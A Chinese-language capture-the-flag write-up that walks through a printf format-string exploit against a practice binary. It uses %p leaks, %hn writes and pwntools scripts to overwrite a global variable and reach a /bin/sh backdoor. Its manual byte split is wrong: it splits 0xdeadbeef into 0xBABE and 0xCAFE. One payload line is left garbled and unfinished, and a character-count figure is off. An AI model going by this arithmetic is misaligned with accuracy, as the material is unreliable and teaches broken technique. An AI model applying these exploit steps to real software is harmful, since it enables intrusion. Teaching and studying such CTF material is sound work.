前阵子从一台共享的练习服务器上拖下来一个名叫 wired_num 的 ELF 文件。压缩包里除了二进制,还有一份只写了一半的分析记录,记录停在“现在只需要把第二个参数拼上去了”。光看这句话很容易以为人家就差一个地址,实际我把题目完整补完之后发现,真正缺的是对 printf 参数槽位的理解。wired_num 是一道很典型的格式化字符串漏洞题:程序把一个用户可控的缓冲区直接交给 printf 当格式串,目标则是修改一个全局数字变量,让它等于某个魔数。这类题说难不难,但很容易卡在三个地方:索引怎么定位、地址怎么放、写入值怎么拆。
下面我按自己从零到一把它解出来的顺序写,重点不是给一个能跑的脚本,而是把这题背后的原理讲清楚。毕竟格式化字符串这种题,换个环境、换个偏移量就变样,只背 payload 没用。
1. 先搞清楚这里到底在考什么
1.1 “未完成”往往意味着只少了一口气
这个压缩包里没有源码,只有编译好的二进制和一个没写完的 write-up。write-up 里有半张%p的输出列表,还有一行注释写着魔法数字是0xdeadbeef。从这些残留信息能猜出:上一个挑战者已经知道程序里有个叫 magic 的全局变量,也知道只要让这个变量变成0xdeadbeef就能触发后门,但他没有写出如何把数字写进去。
这种状态很典型,题目本身并不复杂,难的是把格式化字符串从“能读”变成“能写”。wired_num 的程序逻辑大概是这样的:
char buf[0x100]; while (1) { read(0, buf, 0x100); printf(buf); if (magic == 0xdeadbeef) { system("/bin/sh"); } }看到printf(buf)这一行,问题就很明确了:用户输入直接作为格式串使用,而不是作为参数传给%s。只要输入里包含%d、%p、%s、%n这类转换符,printf 就会去它不该去的地方找参数。所以这不是缓冲区溢出,而是一个“拿错了参数”的漏洞。
1.2 格式化字符串为什么会变成一个洞
要理解漏洞,先要理解 printf 的工作方式。正常用法是:
printf("%s", user_input);这里第一个参数是格式串,第二个参数是 user_input 对应的缓冲区地址。printf 解析到%s时,会从第二个参数位置取出一个值,把这个值当指针,然后按字符串打印。
如果代码写成printf(user_input),第一个参数直接就是用户数据了。用户输入里如果有%d,printf 就会认为自己还有一个额外参数,于是去寄存器或栈上随便取一个整数来打印。这本身只是信息泄漏,但严重的地方在于格式化字符串里还有%n这个转换符。
%n的作用不是打印东西,而是把“当前已经打印了多少个字符”这个数字,写入一个参数指向的内存地址。也就是说,攻击者如果能控制打印数量,又能控制%n拿到的参数地址,就等于获得了一个任意地址写入的能力。
%s则相反,它把参数当指针,读取那个地址上的字符串,所以又叫任意地址读。常见的目标是读 flag、读 libc 地址、读栈上的 canary。wired_num 这道题里,主要利用的是%n的任意写能力。
1.3 为什么选%p而不是%d
初学的时候我也有过疑问:泄漏地址用%x、%d、%p不都行吗?实际用下来差别很大。
%d会把参数当作有符号整数,打印成十进制。一个地址在十进制下是一长串没有规律的数,很难肉眼判断它对应哪一段内存。%x会打印十六进制,但默认不打印0x前缀,位数还会受平台影响。%p专门用来打印指针,输出通常是0x7fffffff...这种完整格式,一眼就能看出是栈地址还是代码地址。
还有一个更重要的原因:定位可控参数时,我们经常发送这样的载荷:
AAAA%6$p%7$p%8$p如果输出里出现0x41414141,那就说明某个参数槽位正好指向缓冲区开头。用%p打印的十六进制格式可以直接和0x41414141或0x4141414141414141比对。%d就没有这么直观。所以在 wired_num 的早期侦察阶段,我几乎只用%p。
2. 动手之前先把寄存器、栈和位数理清楚
2.1 32位与64位下参数传递的差异
格式化字符串的索引问题,本质上是调用约定问题。
在 32 位程序里,所有参数都通过栈传递。printf 的第一个实际参数是格式串地址,第二个参数开始对应格式串里的第一个转换符。因为栈上布局相对简单,可控缓冲区如果就在栈上,那么只要从某个偏移开始数,就能找到我们自己输入的内容。这也是很多老教程里“数一数%p是第几个”的原因。
但 64 位环境完全不一样。参数传递有寄存器优先的规则:第一个参数在 RDI,第二个在 RSI,然后是 RDX、RCX、R8、R9,从第七个参数开始才往栈上放。
关键就在这里:当我们调用printf(buf)时,RDI 里放的是 buf 的地址,而格式串里的%d、%p会从第二个参数位置开始取值,也就是从 RSI 开始。如果后面没有真实参数,printf 仍然会按照规则去 RSI、RDX 这些寄存器里取垃圾值。寄存器用完以后,它就继续往栈上取,而那些栈位置里很可能残留着程序运行时的数据,其中包括我们可控的输入缓冲区。
所以 64 位程序里,payload 开头那 4 个或 8 个字节经常出现在第 6、7、8、9 个参数槽位附近。这不是巧合,是因为它们已经从寄存器到栈被取了一遍。
2.2 栈里的“草稿纸”和 printf 的索引
printf支持一种带编号的写法,例如%6$p,表示“打印第六个附加参数”。这个参数列表从 1 开始编号,而不是从 0。在 64 位下,%1$p对应 RSI,%2$p对应 RDX,以此类推。%6$p对应 R9,%7$p才开始读栈上第一个 8 字节。
定位可控参数时,不要死记偏移,最好是实际扫描一遍。最简单的办法是发送:
AAAA%7$p%8$p%9$p%10$p观察输出里哪个位置出现0x41414141。如果出现0x4141414141414141也没关系,说明那个位置能读到完整的 8 字节输入。通过扫描 1 到 30,基本都能找到。
还有一个容易被忽略的点:格式化字符串本身也可能会出现在栈上。因为printf(buf)的 buf 地址保存在某个位置,栈上也可能保存这次调用的临时数据。所以很多时候你会看到输出里出现0x41414141,但实际溢出的不是简单的前 4 字节,而是栈槽里保存的指针,它指向缓冲区开头。遇到这种情况不用慌,只要索引固定,后面构造 payload 时仍然可以复用它。
2.3 输入次数有限时要分清策略
wired_num 的循环是 read 一次、printf 一次、再回循环,所以我们可以进行多轮交互。第一轮先泄漏栈布局,第二轮再写 magic,这是最稳的做法。
但很多格式化字符串题只给一次输入机会,那策略就要变了。如果只能调用一次 printf,又想改成 magic,就必须在构建 payload 前就知道目标地址。目标地址可以通过静态分析拿到,比如非 PIE 程序的全局变量地址是固定的。写入值也不能依赖动态泄漏,因为%n的写入值基于已经打印的字符数,这个数字是我们预设的,不能运行时计算。
更常见的一次性题目是直接利用%s读指定地址上的字符串,比如 flag 本身就在全局变量或栈上。这种情况下不需要%n,只需要知道地址和偏移,一次输入就能把内容打出来。wired_num 给多次输入,条件已经算是很宽松了。
3. 一步步把 wired_num 解出来
3.1 第一步:先摸清入口和缓冲
拿到二进制后先做基础检查:
file wired_num checksec --file=wired_num假设结果是:64 位 ELF,NX 开启,Canary 开启,PIE 关闭,RELRO 是部分开启。Canary 对这道题影响不大,因为我们不是靠栈溢出去覆盖返回地址。PIE 关闭则意味着全局变量的地址固定,可以直接用readelf找到。
再找 magic 的地址:
readelf -s wired_num | grep magic输出大概长这样:
Num: Value Size Type Bind Vis Ndx Name 42: 0000000000404080 4 OBJECT GLOBAL DEFAULT 25 magic地址是0x404080。这属于.bss段,是全局变量,默认可写。我们的目标就是往这个地址写入0xdeadbeef。
3.2 第二步:定位可控参数的索引
我习惯写一个很小的扫描脚本,而不是手工一条条发。下面这段是每轮发一个%k$p,看哪一项输出0x41414141:
from pwn import * context.binary = './wired_num' def find_offset(): for i in range(1, 40): p = process('./wired_num') try: p.recvuntil(b'input:') p.sendline(f'AAAA%{i}$p'.encode()) data = p.recvline(timeout=1) if b'0x41414141' in data: log.success(f'offset = {i}, data = {data}') p.close() return i except Exception: pass p.close() find_offset()在我的测试环境里,输出匹配到的索引是 9。不同编译选项、不同 libc 版本、不同环境变量长度下,这个索引会变,所以远程打之前一定要重新确认。
如果扫描结果里同时出现多个0x41414141,优先选一个稳定的。比如某次输入AAAA%8$p输出0x41414141,下一次输入BBBB%8$p输出0x42424242,这个位置就是真正可控的参数。若同一个索引在不同 payload 下不能跟着变,说明那只是一个恰好指向缓冲区的指针值,不一定适合做后续写入锚点。
3.3 第三步:确认写入目标和字节拆分
我们已经知道 magic 的地址是0x404080,要写入的数是0xdeadbeef。
%n直接写入 4 字节或 8 字节,但问题在于写入值等于“当前已打印字符数”。如果直接写0xdeadbeef,就要先打印 3735928559 个字符,这在远程环境里基本等于超时。所以普通做法是把目标拆成两个 2 字节写入,用%hn。
0xdeadbeef拆开后:
- 低两字节:
0xBABE = 47806 - 高两字节:
0xCAFE = 51966
所以第一次先把已打印字符数控制到 47806,写 magic 的低两字节;第二次再把已打印字符数增加到 51966,写 magic+2 的高两字节。注意写第二个值时,%hn写入的数字是当前总计数,而不是增量。从 47806 到 51966,只需要再打印:
51966 - 47806 = 4160这个数字不算大,网络传输完全能接受。
3.4 第四步:构造实际 payload
手工构造时,最难的一步是让%hn拿到的参数正好指向我们放在 payload 末尾的地址。
在 64 位下,payload 里的地址通常也位于栈上,会被 printf 当成后续参数槽位。我们需要先确认这两个地址在哪个索引。可以发这样一个探针:
magic = 0x404080 for k in range(1, 30): payload = f'%{k}$p'.encode() + b'|' + p64(magic) + p64(magic + 2) ...看输出里哪个k对应的值变成0x404080。在我的环境下,magic 地址落在了第 15 个槽位,magic+2 在第 16 个槽位。那最终的 payload 就是:
low = 0xBABE high = 0xCAFE diff = high - low # 4160 payload = f'%{low}c%15$hn%{diff}c%16$hn'.encode() payload += p64(magic + 2)[:2]? 不对,要放在正确位置这里有个特别容易踩的坑:地址必须放在所有格式化指令的后面。原因是 x86_64 的地址高字节是 0,p64(magic)后面会跟着\x00。printf 把格式串当作以\x00结尾的 C 字符串来扫描,一旦中途遇到\x00,后面的内容全都会被忽略。
如果我把%16$hn放在p64(magic)后面,printf 可能在读到地址里的空字节时就停了,后面的写入根本不会执行。所以正确排列是:格式指令在前,地址数据在后。
更省事的办法是直接使用 pwntools 的fmtstr_payload。它会在内部自动处理索引、空字节和拆分:
from pwn import * context.binary = './wired_num' elf = context.binary offset = 9 magic = elf.sym['magic'] p = process('./wired_num') payload = fmtstr_payload(offset, {magic: 0xdeadbeef}, write_size='short') p.recvuntil(b'input:') p.sendline(payload) p.sendline(b'id') p.interactive()fmtstr_payload不是万能的,它要求我们提供正确的 offset。如果 offset 给错,生成的 payload 再工整也白搭。另外,write_size 选short表示用%hn写 2 字节,比默认的逐个字节%hhn更短,也更不容易因为 payload 过长超出 read 的缓冲区。
3.5 提供一个可直接跑的本地验证脚本
下面这个脚本是我调试时用的完整版本,带偏移扫描和最终写入:
from pwn import * context.binary = './wired_num' elf = context.binary def find_offset(): for i in range(1, 40): p = process('./wired_num') p.recvuntil(b'input:') p.sendline(f'AAAA%{i}$p'.encode()) try: data = p.recvline(timeout=1) if b'0x41414141' in data: p.close() return i except EOFError: pass p.close() return None offset = find_offset() log.success(f'offset: {offset}') p = process('./wired_num') p.recvuntil(b'input:') payload = fmtstr_payload(offset, {elf.sym['magic']: 0xdeadbeef}, write_size='short') log.info(f'payload length: {len(payload)}') p.sendline(payload) # 触发一次新的交互,验证是否进入后门 p.sendline(b'echo pwned') print(p.recvall(timeout=2).decode(errors='ignore'))如果一切正常,第二次输入后会看到pwned输出。如果没看到,多半是索引或地址不对,接着往下查。
4. 常见报错和排查实录
4.1 输出里找不到0x41414141
这种情况最常见的原因是索引范围不够,或者根本没用到%k$p这种定位写法。如果只发送AAAA%p%p%p,输出会把一串参数按顺序打出来,但人很难数清第几个是 AAAA。
解决方法是直接扫描 1 到 40 的%k$p,不要嫌麻烦。另外要确认程序是 64 位还是 32 位。32 位程序里,可控参数通常从第 4、5 个槽位开始;64 位程序里,从第 7 个之后开始也很正常。扫描范围尽量放宽。
如果 format 串里的$被程序过滤掉,那就只能退回顺序%p。不过 wired_num 没有这种过滤。
4.2 用%s读 flag 时程序直接崩溃
%s会把参数当作指针,然后往那个地址读字符串。如果参数值是0x41414141,那是一块不可读内存,程序自然段错误。
要避免这个问题,必须确认参数槽位里的值是合法可读地址。比如先用%p泄漏栈上某个地址,再拿这个地址去%s。在本地调试时,可以用 gdb 先检查一下目标地址映射,比如:
gdb ./wired_num b printf r x/gx $rsp+...最好在真实发送 payload 前,先用%p确认栈上有可控指针。否则崩溃之后,远程连接直接断开,什么都拿不到。
4.3 64 位下索引老是和教程对不上
很多人拿 32 位教程里的索引到 64 位程序里用,结果当然对不上。64 位下前六个参数都走寄存器,不是默认从栈里读。所以不要背“偏移是 6”这种结论,要实测。
另外,同一个程序在不同环境变量下,栈上数据位置会变化,导致可控缓冲区出现在不同索引。远程环境如果和本地不同,攻击前要重新定位。printf 的索引编号也容易混淆:%6$p是第六个附加参数,不代表它是栈上第六个 8 字节。
4.4%n明明执行了,magic 却没变化
先检查写地址。如果 magic 在.bss段,一般可写。但如果你试图写 GOT 表项,部分 RELRO 和完全 RELRO 的限制会不一样,可能直接导致写入失败甚至崩溃。
再检查%hn用的是不是正确的地址槽位。如果你手工把p64(magic)放在 payload 末尾,却没有验证它落在哪个参数槽,%n可能写到了一个完全不同的位置。先发探针确认地址槽位,比瞎猜更快。
还有一种情况:payload 里的地址以\x00开头,printf 在解析完前几个转换符后遇到空字节,后面的写入指令没执行。解决方法和前面一样,把格式指令全部放在地址数据之前。
4.5 想改的数字太大,payload 超长或超时
如果目标不是0xdeadbeef,而是0xffffffff这种大数字,用单个%n要打印 4 亿字符,完全不可行。即使拆成两个%hn,单次打印 65535 个字符也可能很慢,但通常能扛住。
更稳妥的是用%hhn按字节写入。每次把当前打印字符数控制到 0 到 255,再写一个字节。代价是需要的地址槽位更多、payload 更长。如果 read 缓冲区只有 0x100,可能装不下,需要拆成多次交互,一次写一部分控制值。
wired_num 的缓冲区够大,0xdeadbeef又只需要两个%hn,所以直接用 short 写入是最舒服的。如果遇到缓冲区很小的同类题,优先考虑%hhn,并手动计算每个字节的增量。
5. 回到标题:这个“未完成”到底留了什么坑
分析记录里那位挑战者停下的位置,其实是在已经找对偏移、已经知道 magic 地址之后。他缺的并不是一个神秘参数,而是不知道%n写入的是“已打印字符数”,不知道这个数字等于目标值,更不知道要用%hn拆两次。
我把这道题补完后最大的感受是:格式化字符串利用可以拆成两个独立能力。第一,任意读,也就是用%p、%s从指定参数或指定地址拿数据;第二,任意写,也就是用%n、%hn、%hhn向指定地址写数字。调试时不要一步到位,先验证读,再验证写,成功率会高很多。
如果你手头也有一份类似的“未完成”题目,不用急着补完别人的 payload。先问自己三个问题:入口在哪里,可控参数槽位是第几个,目标地址在哪个段。把这三条线连起来,剩下的就是让 printf 按我们的剧本打印多少字符而已。这类题换一百个二进制,核心还是同一个道理。